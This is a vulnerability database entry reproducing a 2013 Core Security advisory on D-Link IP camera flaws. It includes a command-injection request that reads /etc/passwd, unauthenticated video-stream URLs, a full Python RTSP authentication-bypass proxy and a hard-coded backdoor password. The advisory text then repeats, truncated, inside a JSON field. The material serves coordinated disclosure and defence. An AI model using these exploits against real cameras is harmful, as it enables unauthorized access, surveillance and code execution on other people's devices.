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Vulnerability from variot - Updated: 2023-12-18 12:17

An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03, which could let a malicious user obtain sensitive information. which could let a malicious user obtain sensitive information. plural D-Link The product contains an information disclosure vulnerability.Information may be obtained. There are security vulnerabilities in multiple D-Link webcam products. Advisory Information

Title: D-Link IP Cameras Multiple Vulnerabilities Advisory ID: CORE-2013-0303 Advisory URL: http://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities Date published: 2013-04-29 Date of last update: 2013-03-29 Vendors contacted: D-Link Corporation Release mode: Coordinated release

Vulnerability Information

Class: OS command injection [CWE-78], Authentication issues [CWE-287], Information leak through GET request [CWE-598], Authentication issues [CWE-287], Use of hard-coded credentials [CWE-798] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602, CVE-2013-1603

Vulnerability Description

Multiple vulnerabilities have been found in D-Link IP cameras [1] that could allow an unauthenticated remote attacker:

[CVE-2013-1599] to execute arbitrary commands from the administration web interface,
[CVE-2013-1600] to access the video stream via HTTP,
[CVE-2013-1601] to access the ASCII video stream via image luminance,
[CVE-2013-1602] to access the video stream via RTSP,
[CVE-2013-1603] to bypass RTSP authentication using hard-coded credentials.
Vulnerable Packages

The following is the list of affected devices and the associated firmware (confirmed by D-Link). Other SKUs are probably affected too, but they were not checked.

[CVE-2013-1599] . DCS-3411/3430 - firmware v1.02 . DCS-5605/5635 - v1.01 . DCS-1100L/1130L - v1.04 . DCS-1100/1130 - v1.03 . DCS-1100/1130 - v1.04_US . DCS-2102/2121 - v1.05_RU . DCS-3410 - v1.02 . DCS-5230 - v1.02 . DCS-5230L - v1.02 . DCS-6410 - v1.00 . DCS-7410 - v1.00 . DCS-7510 - v1.00 . WCS-1100 - v1.02

[CVE-2013-1600] . DCS-2102/2121 - v1.05_RU . DCS-2102/2121 - v1.06 . DCS-2102/2121 - v1.06_FR . TESCO DCS-2102/2121 - v1.05_TESCO

[CVE-2013-1601] and [CVE-2013-1603] . DCS-3411/3430 - v1.02 . DCS-5605/5635 - v1.01 . DCS-1100L/1130L - v1.04 . DCS-1100/1130 - v1.03 . DCS-1100/1130 - v1.04_US . DCS-2102/2121 - v1.05_RU . DCS-2102/2121 - v1.06 . DCS-2102/2121 - v1.06_FR . TESCO DCS-2102/2121 - v1.05_TESCO . DCS-3410 - v1.02 . DCS-5230 - v1.02 . DCS-5230L - v1.02 . DCS-6410 - v1.00 . DCS-7410 - v1.00 . DCS-7510 - v1.00 . WCS-1100 - v1.02

[CVE-2013-1602] . ALL mentioned devices and firmware.

Vendor Information, Solutions and Workarounds

D-Link announces that all patches are ready and scheduled for posting on corporate web site for all customers [2013-04-25]. Contact D-Link for further information.

Credits

[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers Team.

[CVE-2013-1602] was discovered and researched by Martin Rocha from Core Impact Pro Team. The PoC was made by Martin Rocha with help of Juan Cotta from Core QA Team.

[CVE-2013-1603] was discovered and researched by Pablo Santamaria from Core Security Consulting Services.

The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.

Technical Description / Proof of Concept Code

7.1. OS Command Injection

[CVE-2013-1599] A security issue located in '/var/www/cgi-bin/rtpd.cgi' allows an unauthenticated remote attacker to execute arbitrary commands through the camera's web interface. The OS command injection is due to this code in 'rtpd.cgi':

/----- echo "$QUERY_STRING" | grep -vq ' ' || die "query string cannot contain spaces." . $conf > /dev/null 2> /dev/null eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"

-----/ The first line of this snippet basically ensures that there are no spaces in '$QUERY_STRING'. The last line uses 'sed' to replace ampersands '&' with spaces, and then call to the function 'eval()', resulting in a typical command injection. For example, in order to execute:

/----- uname -a;cat /etc/passwd -----/ the following request can be sent to the camera web interface:

/----- http://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd -----/

7.2. ASCII Video Stream Information Leak

[CVE-2013-1601] An ASCII output (the image luminance) of the live video stream can be accessed by a remote unauthenticated attacker via:

/----- http://192.168.1.100/md/lums.cgi -----/ The following example is the output of a coffee pot video stream [2]:

/----- O O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o O O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o O O O O O O O O O O O O O O O O O O . o O O o o o o o o o o o o o O O O O O O O O O O O O o o O O o . o o o o o o o o o o o o o o O O O O O O O O O O O O o o o o . o o o o o o o O O O O O O O O O O o . o O O o . o o o o o o O O O O O O O O O . o o o o o o O O O O O O O O . o o o o o o o o O O O O O O O . o O O o . o o o o o o o o o O O O O O O o . O O O O O O . o o o o o o o o o O O O O O O . O O O O O O O . o o o o o o o o o O O O O O O o O O O O O O O . o . o o o o o o o o O O O O O O o O O O O O O O . o o o . o o o o o o o o O O O O O O o O O O O O O o . o O O o O O . o o o o o o o O O O O O O . o O O O O O O o . O O O o O O . o o o o o o O O O O O O . O O O O O o . O O o o O O o . o o o o o o O O O O O O o O O O O O o . o O O o o O O o . o o o o o O O O O O O O O O O O O . o O O o o O O o . o o o o o O O O O O O O . o O O O o . o o o O o o O O o . o o o o O O O O O O O o . O O O o . o o o O o o O O o . o o o o O O O O O O O O . O O O . o o o O o o O O o . o o o o O O O O O O O O O O O . o o o O o o O O o . o o o O O O O O O O O o o O o o o o o O o o o O o . o o o O O O O O O O O O . O o o o o o O o . o O o . o o O O O O O O O O O . O o . o o o o O . o O o . o O O O O O O O O O o o . o o o o o . o O o . o O O O O O O O O O O . o o o . o . o O o . o O O O O O O O O O . o o o . o . O o .
o o O O O O O O O O o . o o o . o . O o .
o o o O O O O O O O o . o o o . o . O o .

-----/

7.4. RTSP Authentication Bypass

[CVE-2013-1602] This vulnerability is triggered because:

Authentication is only present in DESCRIBE requests but not in every subsequent request.
When the RTSP session is being established, the authentication request of current session is ignored (a previously stored response is used instead).

/----- import sys from socket import * from threading import Thread import time, re

LOGGING = 1

def log(s): if LOGGING: print '(%s) %s' % (time.ctime(), s)

class UDPRequestHandler(Thread): def init(self, data_to_send, recv_addr, dst_addr): Thread.init(self) self.data_to_send = data_to_send self.recv_addr = recv_addr self.dst_addr = dst_addr

def run(self):
    sender = socket(AF_INET, SOCK_DGRAM)
    sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    sender.sendto(self.data_to_send, self.dst_addr)
    response = sender.recv(1024)
    sender.sendto(response, self.recv_addr)
    sender.close()

class UDPDispatcher(Thread): dispatchers = []

def __has_dispatcher_for(self, port):
    return any([d.src_port == port for d in UDPDispatcher.dispatchers])

def __init__(self, src_port, dst_addr):
    Thread.__init__(self)
    if self.__has_dispatcher_for(src_port):
        raise Exception('There is already a dispatcher for port %d'

% src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self)

def run(self):
    listener = socket(AF_INET, SOCK_DGRAM)
    listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    listener.bind(('', self.src_port))
    while 1:
        try:
            data, recv_addr = listener.recvfrom(1024)
            if not data: break
            UDPRequestHandler(data, recv_addr, self.dst_addr).start()
        except Exception as e:
            print e
            break        
    listener.close()
    UDPDispatcher.dispatchers.remove( self )

class PipeThread(Thread): pipes = [] def init(self, source, sink, process_data_callback=lambda x: x): Thread.init(self) self.source = source self.sink = sink self.process_data_callback = process_data_callback PipeThread.pipes.append(self)

def run(self):
    while 1:
        try:
            data = self.source.recv(1024)
            data = self.process_data_callback(data)
            if not data: break
            self.sink.send( data )
        except Exception as e:
            log(e)
            break
    PipeThread.pipes.remove(self)

class TCPTunnel(Thread): def init(self, src_port, dst_addr, process_data_callback=lambda x: x): Thread.init(self) log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port, dst_addr[0], dst_addr[1])) self.dst_addr = dst_addr self.process_data_callback = process_data_callback # Create TCP listener socket self.sock = socket(AF_INET, SOCK_STREAM) self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self.sock.bind(('', src_port)) self.sock.listen(5)

def run(self):
    while 1:
        # Wait until a new connection arises
        newsock, address = self.sock.accept()
        # Create forwarder socket
        fwd = socket(AF_INET, SOCK_STREAM)
        fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        fwd.connect(self.dst_addr)
        # Pipe them!
        PipeThread(newsock, fwd, self.process_data_callback).start()
        PipeThread(fwd, newsock, self.process_data_callback).start()

class Camera(): def init(self, address): self.address = address def get_describe_data(self): return ''

class DLink(Camera): # D-Link DCS-2102/1.06-5731 def init(self, address): Camera.init(self, address) def get_describe_data(self): return '\x76\x3d\x30\x0d\x0a\x6f\x3d\x43\x56\x2d\x52\x54\x53\x50\x48\x61\x6e\x64\x6c\x65\x72\x20\x31\x31\x32\x33\x34\x31\x32\x20\x30\x20\x49\x4e\x20\x49\x50\x34\x20\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x2e\x31\x31\x0d\x0a\x73\x3d\x44\x43\x53\x2d\x32\x31\x30\x32\x0d\x0a\x63\x3d\x49\x4e\x20\x49\x50\x34\x20\x30\x2e\x30\x2e\x30\x2e\x30\x0d\x0a\x74\x3d\x30\x20\x30\x0d\x0a\x61\x3d\x63\x68\x61\x72\x73\x65\x74\x3a\x53\x68\x69\x66\x74\x5f\x4a\x49\x53\x0d\x0a\x61\x3d\x72\x61\x6e\x67\x65\x3a\x6e\x70\x74\x3d\x6e\x6f\x77\x2d\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x2a\x0d\x0a\x61\x3d\x65\x74\x61\x67\x3a\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30\x0d\x0a\x6d\x3d\x76\x69\x64\x65\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x39\x36\x0d\x0a\x62\x3d\x41\x53\x3a\x31\x38\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x39\x36\x20\x4d\x50\x34\x56\x2d\x45\x53\x2f\x39\x30\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x31\x0d\x0a\x61\x3d\x66\x6d\x74\x70\x3a\x39\x36\x20\x70\x72\x6f\x66\x69\x6c\x65\x2d\x6c\x65\x76\x65\x6c\x2d\x69\x64\x3d\x31\x3b\x63\x6f\x6e\x66\x69\x67\x3d\x30\x30\x30\x30\x30\x31\x42\x30\x30\x31\x30\x30\x30\x30\x30\x31\x42\x35\x30\x39\x30\x30\x30\x30\x30\x31\x30\x30\x30\x30\x30\x30\x30\x31\x32\x30\x30\x30\x43\x34\x38\x38\x42\x41\x39\x38\x35\x31\x34\x30\x34\x33\x43\x31\x34\x34\x33\x46\x3b\x64\x65\x63\x6f\x64\x65\x5f\x62\x75\x66\x3d\x37\x36\x38\x30\x30\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a\x6d\x3d\x61\x75\x64\x69\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x30\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x30\x20\x50\x43\x4d\x55\x2f\x38\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x32\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a'

class RTSPAuthByPasser(): DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://' UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized' SERVER_PORT_ARGUMENTS = 'server_port=' DEFAULT_CSEQ = 1 DEFAULT_SERVER_PORT_RANGE = '5556-5559'

def __init__(self, local_port, camera):
    self.last_describe_req = ''
    self.camera = camera
    self.local_port = local_port

def start(self):
    log('[!] Starting bypasser')
    TCPTunnel(self.local_port, self.camera.address,

self.spoof_rtsp_conn).start()

def spoof_rtsp_conn(self, data):
    if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:
        self.last_describe_req = data
    elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and

self.last_describe_req: log('[!] Unauthorized response received. Spoofing...') spoofed_describe = self.camera.get_describe_data() # Look for the request CSeq m = re.search('.CSeq:\s(\d+?)\r\n.', self.last_describe_req) cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ # Create the response data = 'RTSP/1.0 200 OK\r\n' data+= 'CSeq: %s\r\n' % cseq data+= 'Content-Type: application/sdp\r\n' data+= 'Content-Length: %d\r\n' % len(spoofed_describe) data+= '\r\n' # Attach the spoofed describe data+= spoofed_describe
elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data: # Look for the server RTP ports m = re.search('.%s\s(.+?)[;|\r].' % RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data) ports = m.group(1) if m else RTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE # For each port in the range create a UDP dispatcher begin_port, end_port = map(int, ports.split('-')) for udp_port in xrange(begin_port, end_port + 1): try: UDPDispatcher(udp_port, (self.camera.address[0], udp_port)).start() except: pass
return data

if name == 'main': if len( sys.argv ) > 1: listener_port = camera_port = int(sys.argv[1]) camera_ip = sys.argv[2] if len(sys.argv) == 4: camera_port = int(sys.argv[3]) RTSPAuthByPasser(listener_port, DLink((camera_ip, camera_port))).start() else: print 'usage: python %s [local_port] [camera_ip] [camera_rtsp_port]'
-----/

7.5. RTSP Hard-Coded Credentials

[CVE-2013-1603] RTSP service contains hard-coded credentials that effectively serve as a backdoor, which allows remote attackers to access the RTSP video stream.

/----- username: (any)
password: ?* -----/

As we can see in the following dump, the submitted password is compared with the string ':?*' (the character ':' is used for concatenation of 'username:password'). This code belongs to the binary 'rtspd':

/----- .text:00011468 loc_11468 ; Load from Memory .text:00011468 LDR R3, [R11,#s2] .text:0001146C STR R3, [R11,#var_C0] ; Store to Memory .text:00011470 LDR R2, [R11,#var_C0] ; Load from Memory .text:00011474 LDR R3, [R11,#var_BC] ; Load from Memory .text:00011478 ADD R3, R2, R3 ; Rd = Op1 + Op2 .text:0001147C SUB R3, R3, #3 ; Rd = Op1 - Op2 .text:00011480 STR R3, [R11,#var_C0] ; Store to Memory .text:00011484 LDR R0, [R11,#var_C0] ; s1 .text:00011488 LDR R1, =asc_1B060 ; ":?*" <------- .text:0001148C MOV R2, #3 ; n .text:00011490 BL strncmp ; Branch with Link .text:00011494 MOV R3, R0 ; Rd = Op2 .text:00011498 CMP R3, #0 ; Set cond. codes on Op1 - Op2 .text:0001149C BNE loc_114BC ; Branch -----/

Report Timeline . 2013-03-19: Core Security Technologies notifies the D-Link team of the vulnerability. 2013-03-20: D-Link team asks for a technical description of the vulnerability. 2013-03-20: Core sends a draft advisory with technical details and set the estimated publication date of the advisory for May 14th, 2013. 2013-03-20: Vendor notifies that D-Link Corporation has an unpublished bounty program for security advisors. The bounty program requires both Core Security and D-Link to sign a memo of understanding (MoU). 2013-03-25: Core notifies that receiving money from vendors may bias the view of the report and rejects the bounty program. 2013-03-29: Vendor notifies that they hope to close the fix ASAP. 2013-04-08: Vendor sends the list of vulnerable devices and the associated firmware and notifies that they will release patches and release notes on the D-Link support forum first. Then, an official public release will be announced (approx. 1 month from forum post to full release). 2013-04-24: Core asks for a clarification regarding the D-Link release date and notifies that releasing fixes to a privileged closed group and/or a closed forum or list is unacceptable. 2013-04-25: Vendor notifies that the patches are ready and scheduled for posting on D-Link web site over the next few days. 2013-04-26: Core notifies that the advisory is re-scheduled for Monday 29th. 2013-04-29: Advisory CORE-2013-0303 published.
References

[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras. [2] http://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png.

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CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.

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The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

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    "data": "An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03, which could let a malicious user obtain sensitive information. which could let a malicious user obtain sensitive information. plural D-Link The product contains an information disclosure vulnerability.Information may be obtained. There are security vulnerabilities in multiple D-Link webcam products. *Advisory Information*\n\nTitle: D-Link IP Cameras Multiple Vulnerabilities\nAdvisory ID: CORE-2013-0303\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities\nDate published: 2013-04-29\nDate of last update: 2013-03-29\nVendors contacted: D-Link Corporation\nRelease mode: Coordinated release\n\n2. *Vulnerability Information*\n\nClass: OS command injection [CWE-78], Authentication issues [CWE-287],\nInformation leak through GET request [CWE-598], Authentication issues\n[CWE-287], Use of hard-coded credentials [CWE-798]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602,\nCVE-2013-1603\n\n3. *Vulnerability Description*\n\nMultiple vulnerabilities have been found in D-Link IP cameras [1] that\ncould allow an unauthenticated remote attacker:\n\n   1. [CVE-2013-1599] to execute arbitrary commands from the\nadministration web interface,\n   2. [CVE-2013-1600] to access the video stream via HTTP,\n   3. [CVE-2013-1601] to access the ASCII video stream via image luminance,\n   4. [CVE-2013-1602] to access the video stream via RTSP,\n   5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded\ncredentials. \n\n4. *Vulnerable Packages*\n\nThe following is the list of affected devices and the associated\nfirmware (confirmed by D-Link). Other SKUs are probably affected too,\nbut they were not checked. \n\n[CVE-2013-1599]\n   . DCS-3411/3430 - firmware v1.02\n   . DCS-5605/5635 - v1.01\n   . DCS-1100L/1130L - v1.04\n   . DCS-1100/1130 - v1.03\n   . DCS-1100/1130 - v1.04_US\n   . DCS-2102/2121 - v1.05_RU\n   . DCS-3410 - v1.02\n   . DCS-5230 - v1.02\n   . DCS-5230L - v1.02\n   . DCS-6410 - v1.00\n   . DCS-7410 - v1.00\n   . DCS-7510 - v1.00\n   . WCS-1100 - v1.02\n\n[CVE-2013-1600]\n   . DCS-2102/2121 - v1.05_RU\n   . DCS-2102/2121 - v1.06\n   . DCS-2102/2121 - v1.06_FR\n   . TESCO DCS-2102/2121 - v1.05_TESCO\n\n[CVE-2013-1601] and [CVE-2013-1603]\n   . DCS-3411/3430 - v1.02\n   . DCS-5605/5635 - v1.01\n   . DCS-1100L/1130L - v1.04\n   . DCS-1100/1130 - v1.03\n   . DCS-1100/1130 - v1.04_US\n   . DCS-2102/2121 - v1.05_RU\n   . DCS-2102/2121 - v1.06\n   . DCS-2102/2121 - v1.06_FR\n   . TESCO DCS-2102/2121 - v1.05_TESCO\n   . DCS-3410 - v1.02\n   . DCS-5230 - v1.02\n   . DCS-5230L - v1.02\n   . DCS-6410 - v1.00\n   . DCS-7410 - v1.00\n   . DCS-7510 - v1.00\n   . WCS-1100 - v1.02\n\n[CVE-2013-1602]\n   . ALL mentioned devices and firmware. \n\n5. *Vendor Information, Solutions and Workarounds*\n\nD-Link announces that all patches are ready and scheduled for posting on\ncorporate web site for all customers [2013-04-25]. Contact D-Link for\nfurther information. \n\n6. *Credits*\n\n[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and\nresearched by Francisco Falcon and Nahuel Riva from Core Exploit Writers\nTeam. \n\n[CVE-2013-1602] was discovered and researched by Martin Rocha from Core\nImpact Pro Team. The PoC was made by Martin Rocha with help of Juan\nCotta from Core QA Team. \n\n[CVE-2013-1603] was discovered and researched by Pablo Santamaria from\nCore Security Consulting Services. \n\nThe publication of this advisory was coordinated by Fernando Miranda\nfrom Core Advisories Team. \n\n7. *Technical Description / Proof of Concept Code*\n\n7.1. *OS Command Injection*\n\n[CVE-2013-1599] A security issue located in \u0027/var/www/cgi-bin/rtpd.cgi\u0027\nallows an unauthenticated remote attacker to execute arbitrary commands\nthrough the camera\u0027s web interface. The OS command injection is due to\nthis code in \u0027rtpd.cgi\u0027:\n\n/-----\necho \"$QUERY_STRING\" | grep -vq \u0027 \u0027 || die \"query string cannot contain\nspaces.\"\n. $conf \u003e /dev/null 2\u003e /dev/null\neval \"$(echo $QUERY_STRING | sed -e \u0027s/\u0026/ /g\u0027)\"\n\n-----/\n The first line of this snippet basically ensures that there are no\nspaces in \u0027$QUERY_STRING\u0027. The last line uses \u0027sed\u0027 to replace\nampersands \u0027\u0026\u0027 with spaces, and then call to the function \u0027eval()\u0027,\nresulting in a typical command injection. For example, in order to execute:\n\n/-----\nuname -a;cat /etc/passwd\n-----/\n the following request can be sent to the camera web interface:\n\n/-----\nhttp://192.168.1.100/cgi-bin/rtpd.cgi?uname\u0026-a;cat\u0026/etc/passwd\n-----/\n\n\n7.2. *ASCII Video Stream Information Leak*\n\n[CVE-2013-1601] An ASCII output (the image luminance) of the live video\nstream can be accessed by a remote unauthenticated attacker via:\n\n/-----\nhttp://192.168.1.100/md/lums.cgi\n-----/\n The following example is the output of a coffee pot video stream [2]:\n\n/-----\nO O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O . o O O o o o o o o o o o o o\nO O O O O O O O O O O O o o O O o         .   o o o o o o o o o o o o o o\nO O O O O O O O O O O O o o o o . o o o o o o o\nO O O O O O O O O O o . o O O o                               . o o o o o o\nO O O O O O O O O . o o o o o o\nO O O O O O O O . o o o o o o o o\nO O O O O O O . o O O o . o o o o o o o o o\nO O O O O O o     . O O O O O O                         . o o o o o o o o o\nO O O O O O .     O O O O O O O .             o o o o o o o o o\nO O O O O O     o O O O O O O O . o . o o o o o o o o\nO O O O O O     o O O O O O O O . o o o . o o o o o o o o\nO O O O O O     o O O O O O O o . o O O o O O . o o o o o o o\nO O O O O O .   o O O O O O O o . O O O o O O . o o o o o o\nO O O O O O . O O O O O o . O O o o O O o . o o o o o o\nO O O O O O o     O O O O O o . o O O o o O O o . o o o o o\nO O O O O O O     O O O O O . o O O o o O O o . o o o o o\nO O O O O O O .   o O O O o . o o o O o o O O o . o o o o\nO O O O O O O o   . O O O o . o o o O o o O O o . o o o o\nO O O O O O O O   . O O O . o o o O o o O O o . o o o o\nO O O O O O O O     O O O . o o o O o o O O o . o o o\nO O O O O O O O o   o O o   o o o o O o o o O o . o o o\nO O O O O O O O O   . O o   o o o o O o . o O o . o o\nO O O O O O O O O .   O o . o o o o O . o O o . o\nO O O O O O O O O o   o . o o o o o . o O o . o\nO O O O O O O O O O   . o o o . o . o O o . \no O O O O O O O O O . o o o . o . O o .    \no o O O O O O O O O o     . o o o . o . O o .                        \no o o O O O O O O O o     . o o o . o . O o .                          \n\n-----/\n\n7.4. *RTSP Authentication Bypass*\n\n[CVE-2013-1602] This vulnerability is triggered because:\n\n   1. Authentication is only present in DESCRIBE requests but not in\nevery subsequent request. \n   2. When the RTSP session is being established, the authentication\nrequest of current session is ignored (a previously stored response is\nused instead). \n\n/-----\nimport sys\nfrom socket import *\nfrom threading import Thread\nimport time, re\n\nLOGGING = 1\n\ndef log(s):\n    if LOGGING:\n        print \u0027(%s) %s\u0027 % (time.ctime(), s)\n\n\nclass UDPRequestHandler(Thread):\n    def __init__(self, data_to_send, recv_addr, dst_addr):\n        Thread.__init__(self)\n        self.data_to_send = data_to_send\n        self.recv_addr = recv_addr\n        self.dst_addr = dst_addr\n    \n    def run(self):\n        sender = socket(AF_INET, SOCK_DGRAM)\n        sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n        sender.sendto(self.data_to_send, self.dst_addr)\n        response = sender.recv(1024)\n        sender.sendto(response, self.recv_addr)\n        sender.close()\n\n\nclass UDPDispatcher(Thread):\n    dispatchers = []\n    \n    def __has_dispatcher_for(self, port):\n        return any([d.src_port == port for d in UDPDispatcher.dispatchers])\n    \n    def __init__(self, src_port, dst_addr):\n        Thread.__init__(self)\n        if self.__has_dispatcher_for(src_port):\n            raise Exception(\u0027There is already a dispatcher for port %d\u0027\n% src_port)\n        self.src_port = src_port\n        self.dst_addr = dst_addr\n        UDPDispatcher.dispatchers.append(self)\n    \n    def run(self):\n        listener = socket(AF_INET, SOCK_DGRAM)\n        listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n        listener.bind((\u0027\u0027, self.src_port))\n        while 1:\n            try:\n                data, recv_addr = listener.recvfrom(1024)\n                if not data: break\n                UDPRequestHandler(data, recv_addr, self.dst_addr).start()\n            except Exception as e:\n                print e\n                break        \n        listener.close()\n        UDPDispatcher.dispatchers.remove( self )\n\n\nclass PipeThread(Thread):\n    pipes = []\n    def __init__(self, source, sink, process_data_callback=lambda x: x):\n        Thread.__init__(self)\n        self.source = source\n        self.sink = sink\n        self.process_data_callback = process_data_callback\n        PipeThread.pipes.append(self)\n\n    def run(self):\n        while 1:\n            try:\n                data = self.source.recv(1024)\n                data = self.process_data_callback(data)\n                if not data: break\n                self.sink.send( data )\n            except Exception as e:\n                log(e)\n                break\n        PipeThread.pipes.remove(self)\n\n\nclass TCPTunnel(Thread):\n    def __init__(self, src_port, dst_addr, process_data_callback=lambda\nx: x):\n        Thread.__init__(self)\n        log(\u0027[*] Redirecting: localhost:%s -\u003e %s:%s\u0027 % (src_port,\ndst_addr[0], dst_addr[1]))\n        self.dst_addr = dst_addr\n        self.process_data_callback = process_data_callback\n        # Create TCP listener socket\n        self.sock = socket(AF_INET, SOCK_STREAM)\n        self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n        self.sock.bind((\u0027\u0027, src_port))\n        self.sock.listen(5)\n    \n    def run(self):\n        while 1:\n            # Wait until a new connection arises\n            newsock, address = self.sock.accept()\n            # Create forwarder socket\n            fwd = socket(AF_INET, SOCK_STREAM)\n            fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n            fwd.connect(self.dst_addr)\n            # Pipe them!\n            PipeThread(newsock, fwd, self.process_data_callback).start()\n            PipeThread(fwd, newsock, self.process_data_callback).start()\n\n\nclass Camera():\n    def __init__(self, address):\n        self.address = address\n    def get_describe_data(self):\n        return \u0027\u0027\n\n\nclass DLink(Camera):\n    # D-Link DCS-2102/1.06-5731\n    def __init__(self, address):\n        Camera.__init__(self, address)\n    def get_describe_data(self):\n        